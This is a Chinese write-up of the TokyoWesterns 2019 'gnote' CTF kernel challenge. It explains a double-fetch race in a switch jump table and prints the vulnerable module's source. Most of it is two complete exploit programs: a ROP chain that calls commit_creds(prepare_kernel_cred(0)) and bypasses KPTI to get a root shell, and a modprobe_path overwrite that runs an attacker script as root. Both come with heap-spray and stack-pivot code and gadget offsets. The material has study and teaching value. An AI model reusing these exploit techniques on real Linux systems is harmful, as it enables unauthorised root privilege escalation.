0019-TIPS-2019-tokyowesterns-gnote : switch(jump-table) Doubule Fetch

news2025/1/16 12:47:44

漏洞源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/uaccess.h>
#define MAX_NOTE 8

static DEFINE_MUTEX(lock);

struct note {
  unsigned long size;
  char *contents;
};

unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];


ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

struct file_operations gnote_proc = {
  .write    = gnote_write,
  .read    = gnote_read,
};

static int __init gnote_init(void)
{
  cnt=0;
  selected=-1;
  proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);
  printk("/proc/gnote created\n");
  return 0;
}
 
static void __exit
gnote_exit(void)
{
  remove_proc_entry("gnote", NULL);
  printk("unloading gnote\n");
}
 
module_init(gnote_init);
module_exit(gnote_exit);

漏洞分析

没有开启smap保护

首先看启动脚本和/proc/cpuinfo,没有看起smap保护

#!/bin/sh
cd /home/gnote
stty intr ^]
exec \
	timeout 120 \
	qemu-system-x86_64 \
	-m 64M \
	-kernel bzImage \
	-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
	-nographic \
	-net user -net nic \
	-device e1000 -smp cores=2,threads=2 \
	-cpu kvm64,+smep \
	-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo  | grep "smep"
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo  | grep "smap"
/ $

漏洞分析

先看gnote_write的源码

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
	[...]
	switch(*(unsigned int *)buf){
	[...]
	notes[cnt].size = *((unsigned int *)buf+1);
	[...]
	index = *((unsigned int *)buf+1);
}

在调用gnote_write时,buf指针指向的结构体类似于

struct write_struct{
	unsigned int sele_func;
	unsigned int num;
}

在这里插入图片描述

再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址

.text:0000000000000000                 public gnote_write
.text:0000000000000000 gnote_write     proc near               ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000                 push    rbp
.text:0000000000000001                 mov     rdi, offset lock
.text:0000000000000008                 mov     rbp, rsp
.text:000000000000000B                 push    r12
.text:000000000000000D                 push    rbx
.text:000000000000000E                 mov     rbx, rsi				<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011                 mov     r12, rdx
.text:0000000000000014                 call    mutex_lock
.text:0000000000000019                 cmp     dword ptr [rbx], 5	<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]			<<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

.rodata:0000000000000220 off_220         dq offset loc_6E        ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228                 dq offset loc_2D
.rodata:0000000000000230                 dq offset sub_A5
.rodata:0000000000000238                 dq offset sub_97
.rodata:0000000000000240                 dq offset sub_B3
.rodata:0000000000000248                 dq offset sub_82
.rodata:0000000000000248 _rodata         ends

在这里插入图片描述

简化为

[0] .text:000000000000000E                 mov     rbx, rsi				  <<<<<<<<<<<<
[1] .text:0000000000000019                 cmp     dword ptr [rbx], 5	  <<<<<<<<<<<< 
    .text:000000000000001C                 ja      short loc_6E
[2] .text:000000000000001E                 mov     eax, [rbx]			  <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020                 mov     rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028                 jmp     __x86_indirect_thunk_rax

rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址

问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
在这里插入图片描述

漏洞利用

exp_kpti

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}

void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");   // 0xffffffffa0000000
    }
}

void shell()
{
    istriggered =1;
    system("/bin/sh");
}

void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}

void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}


int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);

    for (int i=0;i<50; i++)
        close(fds[i]);

    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
               // bypass kpti
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = &shell;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    
    pthread_join(pthread, NULL);
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 


3.下断点
.text:0000000000000019                 cmp     dword ptr [rbx], 5
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

cat /sys/module/gnote/sections/.text

4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode

/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel

gef➤  x /50i 0xffffffffbde00a34
   0xffffffffbde00a34:  pop    r15
   0xffffffffbde00a36:  pop    r14
   0xffffffffbde00a38:  pop    r13
   0xffffffffbde00a3a:  pop    r12
   0xffffffffbde00a3c:  pop    rbp
   0xffffffffbde00a3d:  pop    rbx
   0xffffffffbde00a3e:  pop    r11
   0xffffffffbde00a40:  pop    r10
   0xffffffffbde00a42:  pop    r9
   0xffffffffbde00a44:  pop    r8
   0xffffffffbde00a46:  pop    rax
   0xffffffffbde00a47:  pop    rcx
   0xffffffffbde00a48:  pop    rdx
   0xffffffffbde00a49:  pop    rsi
   0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<
   0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x5004
   0xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]
   0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]
   0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]
   0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]
   0xffffffffbde00a62:  push   QWORD PTR [rdi+0x10]
   0xffffffffbde00a65:  push   QWORD PTR [rdi]
   0xffffffffbde00a67:  push   rax
   0xffffffffbde00a68:  xchg   ax,ax
   0xffffffffbde00a6a:  mov    rdi,cr3
   0xffffffffbde00a6d:  jmp    0xffffffffbde00aa3
   0xffffffffbde00a6f:  mov    rax,rdi
   0xffffffffbde00a72:  and    rdi,0x7ff
   0xffffffffbde00a79:  bt     QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a83:  jae    0xffffffffbde00a94
   0xffffffffbde00a85:  btr    QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a8f:  mov    rdi,rax
   0xffffffffbde00a92:  jmp    0xffffffffbde00a9c
   0xffffffffbde00a94:  mov    rdi,rax
   0xffffffffbde00a97:  bts    rdi,0x3f
   0xffffffffbde00a9c:  or     rdi,0x800
   0xffffffffbde00aa3:  or     rdi,0x1000
   0xffffffffbde00aaa:  mov    cr3,rdi
   0xffffffffbde00aad:  pop    rax
   0xffffffffbde00aae:  pop    rdi
   0xffffffffbde00aaf:  swapgs 
   0xffffffffbde00ab2:  nop    DWORD PTR [rax]
   0xffffffffbde00ab5:  jmp    0xffffffffbde00ae0
   0xffffffffbde00aba:  nop

*/

exp_modpath

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}
void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}
void something(){
    puts("[+] Congratulations! You get it!");
    system("/tmp/fake");
    system("cat /flag");
    exit(0);
}
void gen_test(){
    //system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}

int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    for (int i=0;i<50; i++)
        close(fds[i]);
    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);
    unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;
    unsigned long modprobe_path       = kernel_base + 0xC2C540;
    unsigned long memcpy_addr         = kernel_base + 0x58a100;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = modprobe_path;
    rop_base[i++] = pop_rsi_ret;
    rop_base[i++] = mmap_base+0x1000;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = pop_rdx_ret;
    rop_base[i++] = 0x10;
    rop_base[i++] = memcpy_addr;
               // bypass kpti
    //rop_base[i++] = swapgs_p_ret;
    //rop_base[i++] = tty_base ;
    //rop_base[i++] = iretq_p_ret;
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = & something;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    gen_test();             // 生成/tmp/fake 和 /tmp/chmod 文件
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    pthread_join(pthread, NULL);
    getchar();
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 

ffffffffb758a100 W memcpy

modprobe_path = 0xffffffffb7c2bf60  -  0xffffffffb7000000
gef➤  x /10i 0xffffffffb706a7b0
   0xffffffffb706a7b0:  push   rbp
   0xffffffffb706a7b1:  mov    rdi,0xffffffffb7c2bf60
   0xffffffffb706a7b8:  mov    rbp,rsp
   0xffffffffb706a7bb:  push   rbx
   0xffffffffb706a7bc:  movzx  ebx,BYTE PTR [rip+0xd1ff1d]        # 0xffffffffb7d8a6e0
   0xffffffffb706a7c3:  call   0xffffffffb706a350

*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/678672.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python:并发编程(二十)

前言 本文将和大家一起探讨python并发编程的实际项目&#xff1a;win图形界面应用&#xff08;篇二&#xff0c;共八篇&#xff09;&#xff0c;系列文章将会从零开始构建项目&#xff0c;并逐渐完善项目&#xff0c;最终将项目打造成适用于高并发场景的应用。 本文为python并…

C语言贪吃蛇课程设计实验报告(包含贪吃蛇项目源码)

文末有贪吃蛇代码全览,代码有十分细致的注释!!!文末有贪吃蛇代码全览,代码有十分细致的注释!!!文末有贪吃蛇代码全览,代码有十分细致的注释!!! 码文不易&#xff0c;给个免费的小星星和免费的赞吧&#xff0c;关注也行呀(⑅•͈ᴗ•͈).:*♡ 不要白嫖哇(⁍̥̥̥᷄д⁍̥̥…

Mac5款高效实用软件,值得推荐

目录 1.MarginNote 3&#xff1a;阅读批注学习笔记软件 2.iShot&#xff1a;Mac截图、长截图、带壳截图、贴图、标注、取色、录屏、录音、OCR、翻译&#xff0c;合集工具 3.KeyCastr-实时显示按下的按键 4.MindNode-超美观的思维导图 5.One Switch&#xff1a;系统设置一键…

CopyOnWriteArrayList源码

介绍 CopyOnWriteArrayList是Java并发包中提供的一个并发容器&#xff0c;它是个线程安全且读操作无锁的ArrayList&#xff0c;写操作则通过创建底层数组的新副本来实现&#xff0c;是一种读写分离的并发策略 在保证并发读取的前提下&#xff0c;确保了写入时的线程安全&…

百度 RT-DETR : 在实时目标检测上击败所有 YOLO !

论文地址&#xff1a;https://arxiv.org/abs/2304.08069 代码地址&#xff1a;https://github.com/PaddlePaddle/PaddleDetection 最近&#xff0c;基于端到端的 Transformer 检测器&#xff08;DETRs&#xff09;取得了显著的性能。然而&#xff0c;DETRs 的高计算成本问题尚…

chatgpt赋能python:Python的加减乘除使用指南

Python的加减乘除使用指南 Python是一种高级编程语言&#xff0c;其数学计算库和处理数值数据的能力使其成为科学计算&#xff0c;数据分析和机器学习领域的首选语言之一。在Python中&#xff0c;加减乘除是最基本和常用的四种数学计算操作。在本篇文章中&#xff0c;我们将介…

pyqt的学习(三)----鼠标点击和按键处理

QmyChartView 类的说明 QChart 和 QChartView 是基于 Graphics View 结构的绘图类。要对一个 QChart 图表进行鼠 标和按键操作&#xff0c;需要在 QChartView 类里对鼠标和按键事件进行处理&#xff0c;这就需要自定义一个 从 QChartView 继承的类。 QmyChartView 类是从 QC…

津津乐道设计模式 - 策略模式详解(以女友购物策略让你彻底明白)

&#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Micro麦可乐的博客 &#x1f425;《Docker实操教程》专栏以最新的Centos版本为基础进行Docker实操教程&#xff0c;入门到实战 &#x1f33a;《RabbitMQ》…

Git工具【系统学习】

第一章 Git快速入门 1.1 Git概述 Git是一个免费的&#xff0c;开源的分布式版本控制系统&#xff0c;可以快速高效地处理从小型或大型的各种项目。Git易于学习&#xff0c;占用空间小&#xff0c;性能快得惊人。 1.2 SCM概述 SCM&#xff08;Software Configuration Managem…

Deepin Community Live CD New Kernel——自带6.3.8内核的镜像和apt源

镜像介绍 此镜像属于 Deepin Community Live CD 系列&#xff08;Deepin Community Live CD 简称为 DCLC&#xff0c;Deepin Community Live CD 是什么&#xff1f;传送门&#xff1a;https://bbs.deepin.org/post/242933&#xff09;&#xff0c;New Kernel 系列镜像旨在可以…

chatgpt赋能python:Python的下载流程

Python的下载流程 Python是一款流行的编程语言&#xff0c;其掌握程度在当今计算机科学领域越来越受到重视。在本文中&#xff0c;我们将探讨Python的下载流程&#xff0c;为初学者提供一些有用的信息。特别是&#xff0c;我们将着重介绍如何在Windows操作系统上下载Python。 …

Golang每日一练(leetDay0105) 超级丑数、右侧小于当前元素的个数

目录 313. 超级丑数 Super Ugly Number &#x1f31f;&#x1f31f; 315. 计算右侧小于当前元素的个数 Count-of-smaller-numbers-after-self &#x1f31f;&#x1f31f;&#x1f31f; &#x1f31f; 每日一练刷题专栏 &#x1f31f; Rust每日一练 专栏 Golang每日一练…

chatgpt赋能python:Python下载安装教程

Python下载安装教程 Python是一种高级编程语言&#xff0c;具有简单易学、强大多样的特点&#xff0c;不仅可以用来开发网站、应用程序、游戏&#xff0c;还可以用于数据科学、机器学习、人工智能等领域&#xff0c;被广泛应用于各行各业。 本文将为您提供详细的Python下载安…

MongoDB简介

目录 1、NoSQL概述 2、什么是MongoDB 3、MongoDB特点 一、MongoDB安装&#xff08;docker方式&#xff09; 二、MongoDB安装&#xff08;普通方式&#xff09; 三、MongoDB 概念解析 1、NoSQL概述 NoSQL(NoSQL Not Only SQL)&#xff0c;意即反SQL运动&#xff0c;指的是…

FcaNet: Frequency Channel Attention Networks论文总结

论文&#xff1a;https://arxiv.org/abs/2012.11879 中文版&#xff1a;FcaNet: Frequency Channel Attention Networks 源码&#xff1a;https://github.com/cfzd/FcaNet或https://gitee.com/yasuo_hao/FcaNet 一、论文背景和出发点 问题&#xff1a;许多工作都集中在如何设计…

【T+】安装畅捷通T+提示安装向导找不到环境检测工具,是否手动选择环境检测工具文件夹。

【问题描述】 在windows server 2008r2系统环境下&#xff0c; 安装畅捷通T专属云标准版18.0软件的时候&#xff0c;提示&#xff1a; 安装向导找不到环境检测工具&#xff0c;是否手动选择环境检测工具文件夹&#xff08;CheckEnvironment&#xff09; 点击【是】手动选择&…

leetcode数据库题第六弹

leetcode数据库题第六弹 626. 换座位1280. 学生们参加各科测试的次数1321. 餐馆营业额变化增长1327. 列出指定时间段内所有的下单产品1341. 电影评分1378. 使用唯一标识码替换员工ID1393. 股票的资本损益1407. 排名靠前的旅行者1484. 按日期分组销售产品1517. 查找拥有有效邮箱…

数字基带传输

常用码型&#xff1a; 为了适应信道的传输&#xff0c;传输码型必须具备以下基本特性&#xff1a; 1&#xff09;无直流、很少的低频分量&#xff1b; 2&#xff09;含有码元定时信息&#xff1b; 3&#xff09;主瓣宽度窄&#xff1b; 4&#xff09;适用于各种信源的…

ChatGPT从入门到精通,一站式掌握办公自动化/爬虫/数据分析和可视

课程名称适应人群ChatGPT从入门到精通&#xff0c;一站式掌握办公自动化/爬虫/数据分析和可视 全面AI时代就在转角&#xff0c;道路已经铺好了“局外人”or“先行者”就在此刻等你决定 1、对ChatGPT感兴趣并希望有人手把手教学的新手 2、希望了解GPT各类应用抓住未来风口 3、希…

【软件设计师暴击考点】UML知识高频考点暴击系列

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;软件…